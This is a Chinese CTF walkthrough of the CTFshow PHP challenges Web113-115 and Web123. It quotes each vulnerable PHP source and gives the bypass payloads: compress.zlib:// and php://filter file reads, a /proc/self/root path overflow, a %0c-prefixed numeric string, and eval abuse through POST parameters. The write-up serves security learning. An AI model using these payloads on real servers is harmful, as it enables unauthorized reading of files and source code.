详细介绍:CTFshow系列——PHP特性Web113-115(123)

news/2025/9/27 19:10:51/文章来源:https://www.cnblogs.com/ljbguanli/p/19115506

详细介绍:CTFshow系列——PHP特性Web113-115(123)

今天继续给大家带来php特性的CTF题目讲解,说实话每次回头看写的文章,总能学到新东西;

文章目录

    • Web113
      • 代码分析
      • 方法二:利用函数所能处理的长度限制进行目录溢出(官方WP)
    • Web114
    • Web115(新题型)
      • 代码分析
      • 解题思路
    • Web123
      • 代码分析
      • payload
    • 总结


Web113

直接看源代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

通过代码,我们可以发现这个与Web112差不多:
在这里插入图片描述

多了对filter关键字的过滤,其实就是禁止了我们的**php://filter/**的使用;

那接下来我们有什么协议能用呢?

代码分析

  • 程序会把 $_GET['file'] 赋给 $file
  • 先用 is_file($file) 判断:如果不是(! is_file($file))则走 highlight_file(filter($file));反之输出 hacker!
    • 也就是说:只有 目标“不是普通存在的文件” 时,代码才去 highlight_file 该值(故意让你用流/包装器来读取)。
  • filter() 会拒绝含有这些关键字(不区分大小写):filter, …/, http, https, data, rot13, base64, string。
    • 这会直接拦截 php://filter/convert.base64-encode/ 这种常见绕过,因为 filter 与 base64 被列入黑名单。
  • 漏洞类型:LFILocal File Include / read)通过流包装器绕过/利用。目标是让 highlight_file(…) 输出我们想看的目标(例如 flag 源码)。

没办法,只能使用上一关的compress.zlib://协议了:

在这里插入图片描述

# payload
?file=compress.zlib://flag.php

方法二:利用函数所能处理的长度限制进行目录溢出(官方WP)

# payload
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。

在这里插入图片描述

Web114

页面显示如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!

没想到我们的compress协议最终还是难逃一死,难道真的只能用目录溢出这种方法吗?

答案:但是我们发现,filter关键词竟然被放出来了,那就由不得你了。


回归最朴实无华的payload:编码也不要了

在这里插入图片描述

# payload
?file=php://filter/resource=flag.php

(之前的目录溢出在这关失效了。。。)


Web115(新题型)

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!

代码分析

  • filter($num) 函数:
    • 它将字符串中的 “0x”, “0”, “.”, “e”, “+” 全部替换成了 “1”。
    • 也就是禁止我们使用八 / 十六 进制小数点科学计数法以及正负数
  • 第一个 if 条件:
  • if(is_numeric($num) and $num!‘36’ and trim($num)!’ 36’ and filter($num)==‘36’)
    • is_numeric($num): 检查 $num 是否是数字或数字字符串。这个条件是绕过的关键。
    • $num!=='36' 和 trim($num)!=='36': 这两个是强类型比较。!== 运算符不仅比较值,还比较变量类型。这意味着 $num 的值和类型都不能是字符串 ‘36’。
    • filter($num)=='36': 这是一个弱类型比较。== 运算符只比较值。经过 filter 函数处理后的 $num 字符串,其值必须等于字符串 ‘36’。

解题思路

  1. is_numeric($num): 传入的 $num 必须是一个数字或数字字符串。
  2. $num!=='36' 和 trim($num)!=='36': $num 不能是字符串 ‘36’。
  3. filter($num)=='36': filter 函数会替换 “0x”, “0”, “.”, “e”, “+” 为 “1”。要使处理后的结果为 ‘36’,我们可以在输入中包含这些字符。
  4. $num=='36': 传入的 $num 必须在弱类型比较下等于 36。

题目与Web90差不多(可以看本篇文章),但是感觉把我们的路都封死了,

官方WP
在php中"36"是等于\x0c36的,同时trim也不会过滤掉\x0c也就是%0c

# payload
?num=%0c36

我真的没招了。

在这里插入图片描述


Web123

嗯?怎么直接到Web123了,我的Web116呢?
我也不知道啊,题目就是这样的:

在这里插入图片描述


所以还是先看代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

看到$_SERVER,我一下又感觉回到了熟悉的场景:Web98(新题型)

代码分析

  • POST 参数
    • CTF_SHOWCTF_SHOW.COM 必须存在。
    • fun 参数的值就是我们希望执行的命令。
  • fun 参数的限制:
    • 不能包含黑名单中的特殊字符。
    • 其值在弱类型比较下必须小于或等于 18。
  • eval() 代码:
    • 执行后必须创建一个变量 $fl0g,并将其值严格设置为 “flag_give_me”。
  • if ($fl0g === "flag_give_me"):
    • 这部分是获取 flag 的关键。它要求一个名为 $fl0g 的变量必须严格等于字符串 “flag_give_me”。
    • 这个 $fl0g 变量是由我们通过 eval() 函数执行的代码来创建和赋值的。

payload

所以我尝试构造了一个payload:
CTF_SHOW=&CTF_SHOW.COM=&fun=extract($_POST,0)&fl0g=flag_give_me

但没有反应。。

随后看了WP,发现忽略了一点:

  • 根据代码:c=c=c=_POST[‘fun’];和eval(“$c”.“;”);
  • 我的代码带入后就变成了 eval(“extract($_POST,0)&fl0g=flag_give_me”.“;”);

并且fl0g参数是要不存在才满足条件:

  • 具体代码:if(!isset($_GET[‘fl0g’])
# payload
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

在这里插入图片描述

也是得到flag。。

总结

没什么好说的,温故而知新;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/919830.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

公司网站建设模板Wordpress手机端模版

React之组件的介绍、创建与使用,事件对象,this指向问题,修改状态以及受控组件与非受控组件 一、组件基本介绍二、组件创建2.1 函数组件2.2 类组件 三、将组件提取到单独的js文件中四、有状态组件和无状态组件五、类组件的状态六、事件处理6.1 注册事件6.2 事件对象6.3 this指向…

网站栏目设计美团后台管理系统登录

还在为繁琐的文本处理而烦恼吗&#xff1f;PopClip for Mac来帮您解决&#xff01;这款神器般的文本处理工具&#xff0c;能让您轻松应对各种文本处理任务。无论是写作、编程还是日常办公&#xff0c;PopClip for Mac都能助您一臂之力&#xff0c;让您的文本处理更高效、更便捷…

网站页面做多宽东莞网站建设报价

三、安装配置多实例MYSQL5.6-多独立配置文件方法1、准备工作检查操作系统版本、内核版本、selinux是否关闭、防火墙策略、IP地址、主机名配置、host表配置、yum配置上传cmake、mysql5.6软件包具体步骤参考源码安装mysql-单实例配置文档2、安装cmake软件2.1 安装编译软件环境[[e…

[题解]P11533 [NOISG 2023 Finals] Topical

思路 有一个很简单的 \(\Theta(n^2m)\) 的做法,每一轮枚举所有未进行的考核,判断以当前的能力能否通过这个考核,然后更新当前的能力。 考虑优化,如果每一次都能精准找到一个能够通过的考核,那么就能优化掉一个 \(…

详解 Kubernetes 命令:kubectl exec -it nginx -- bash 及实战场景 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

day20_修改 删除功能

day20_修改 删除功能 1版本号 1.1版本号机制作用 后端处理数据时 通常通过版本号机制 限制数据的随意覆盖 一般用在有多用户同时操作的业务数据表中 (很少变动的数据 一般不加)1.2需要修改的部分 1数据库增加字段修改现…

[题解]P10231 [COCI 2023/2024 #4] Putovanje

思路 考虑从每一个 \(d_i \neq -1\) 的点开始往外走 \(d_i\) 步,然后所有这些点走到的点的集合取交集就是答案,复杂度是 \(\Theta(n^2)\) 的。 注意到我们需要对一些集合取交,容易想到 bitset 优化,此时的复杂度瓶…

首都农村医学人才培养体系建设与农村医学人才培养的研究与实践 网站电子元器件做哪个网站好

目录 什么是数据库数据库的概念模型层次模型网状模型关系模型 为什么要使用关系型数据库完整性约束结构化查询语言SQL基本语句 什么是数据库 考虑这些问题&#xff1a;当用户使用软件计算时&#xff0c;如果想要保存计算结果或者想选择不同的题目&#xff0c;是否要保存、读取…

网站技术外包公司建设网站前的市场分析包括

微深节能格雷母线高精度位移测量系统是一种先进的工业自动化位置检测解决方案&#xff0c;它被广泛应用于煤码头自动化翻堆及取料集控系统中&#xff0c;以实现对斗轮堆取料机等大型机械设备的精准定位和自动化控制。 系统原理简述&#xff1a; 格雷母线系统的工作原理基于电磁…

网站租用服务器价格建设一个网站要多少钱

1. 抽象 在面向对象编程中&#xff0c;抽象是指将类的属性和方法捆绑在一起&#xff0c;形成一个整体。抽象类无法实例化&#xff0c;但可以作为其他类的基类或父类。在Python中&#xff0c;我们使用abc模块定义抽象类&#xff0c;其中至少包含一个抽象方法。抽象方法是无法直…

加强网站建设和维护福州营销网站建设模板

一、引出问题 在学习C语言单目操作符中~按位取反的过程中&#xff0c;对这样一段代码的结果产生了疑惑&#xff1a; #define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h>int main() {int a 0;int b ~a;//按位取反printf("%d\n", b);return 0; }输出结果…

Linux环境之----POSIX信号量

Linux环境之----POSIX信号量pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco",…

WPF Prism register interface and service, view and viewmodel, IRegionManager, RequestNavigate

Install-Package Prism.DryIOC; Install-Package Prism.Wpf;Install-Package Microsoft.Xaml.Behaviors.WPF; //App.xaml <prism:PrismApplication x:Class="WpfApp14.App"xmlns="http://schemas.m…

完整教程:Flink 容错从状态后端到 Exactly-Once

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

门户网站属于新媒体吗台州网站建设慕枫

莆田学院录取分数线2020是多少分&#xff0c;各专业录取分数线是多少&#xff0c;是每个填报莆田学院的考生最关注的问题&#xff0c;随着各省高考录取批次相继公布&#xff0c;考生也开始关心是否被录取&#xff0c;本站小编整理相关信息供参考&#xff0c;仅供参考。一、莆田…

兼职做网站赚钱吗网站首页设计图片简约

ChatGPT Admin Web 在团队和组织内共享使用人工智能的一站式解决方案。 ​编辑 ​编辑 ​编辑 CAW 是一个自托管网络应用程序&#xff0c;提供开箱即用的用户管理&#xff0c;包括后台界面以及可配置的支付计划和相关支付界面。 GitHub Sponsor / 爱发电 功能 Features …

【08】海康相机C#开发——在海康MVS的**C#实例中添加控件报错**“`不能在本地化模式下添加组件。在 Language 属性中选择”(默认)”以返回到默认格式,然后添加组件`” - 实践

【08】海康相机C#开发——在海康MVS的**C#实例中添加控件报错**“`不能在本地化模式下添加组件。在 Language 属性中选择”(默认)”以返回到默认格式,然后添加组件`” - 实践2025-09-27 18:47 tlnshuju 阅读(0) 评…

哪个建立网站好个人网上卖货的平台

&#x1f497;个人主页&#x1f497; ⭐个人专栏——数据结构学习⭐ &#x1f4ab;点击关注&#x1f929;一起学习C语言&#x1f4af;&#x1f4ab; 导读&#xff1a; 我们在前面学习了单链表和顺序表&#xff0c;以及栈和队列。 今天我们来学习小堆。 关注博主或是订阅专栏&a…

# Windows CMD 基本指令参考手册

Windows CMD 基本指令参考手册常用命令提示符指令速查指南,包含直接复制功能Windows 命令提示符(CMD)是一个强大的工具,可以让您通过输入命令来执行各种系统操作。本参考手册整理了最常用的 CMD 指令,方便您快速查…

P13019 [GESP202506 八级] 树上旅行

解题思路 这个问题需要在有根树上模拟移动操作,但直接模拟会超时(因为移动次数可能很大)。核心思想是使用二进制提升(Binary Lifting)技术来优化移动过程。 关键观察:向上移动(移动到父节点):可以使用倍增表 …